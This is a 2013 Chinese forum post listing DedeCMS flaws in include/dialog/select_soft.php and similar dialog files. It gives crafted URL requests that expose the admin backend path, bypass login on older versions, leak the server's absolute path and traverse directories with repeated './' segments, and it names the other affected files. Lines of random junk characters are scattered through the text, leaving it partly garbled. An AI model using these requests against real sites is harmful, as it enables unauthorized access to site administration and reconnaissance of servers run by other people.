1.include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理
' T, D9 g$ x: z" {/ k6 j& f3 G# ? m( m8 Z3 k
员帐号,新版本的就直接转向了后台.
$ x- W" e. c6 F3 D! @5 _( @ C! Z9 m+ u0 n5 b5 o) S. p
2.include/dialog/config.php会爆出后台管理路径9 b. N' z* s! Z. h/ q y3 |. Z8 Z
& q5 o! S+ o+ U2 @7 P
3.include/dialog/select_soft.php?activepath=/include/FCKeditor 跳转目录
# R2 L8 S5 s" e# a' M3 X0 q7 Z
0 L: P- J/ c, _ J' T% S4.include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p 爆出网站绝对路径.1 R2 {1 F& z6 l. i, A2 M
: W( C- W% ^- P5.另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证,直接显示,而且还可以用/././././././././掉+ J8 ]0 f: { @2 f1 E# t1 l2 z
3 r& q% Z' ?& Q: S7 F' ^9 `& s
到根目录去.不过这些版本的访问地址有些不同.7 M) a+ v0 b7 b, z; D+ H: w P
地址为require/dialog/select_soft.php?activepath=/././././././././3 m9 t( y0 e$ X% A+ Z6 T7 p: N; \
9 ]& G/ L: { n' |) w- |include\dialog\目录下的另外几个文件都存在同一个问题,只是默认设的目录不同.有些可以查看HTML这些文件哦..+ ?+ R" j* k. C, E p
存在相同问题的文件还有: }- N8 `" k. C3 N
include\dialog\select_images.php3 y' R- U; E+ G/ |, M* j1 ?
include\dialog\select_media.php1 ?+ K' v# w8 A% v6 F
include\dialog\select_templets.php
" P/ H- I- o9 X0 j3 p |
发表于 2013-4-16 16:50:43
收藏
支持
反对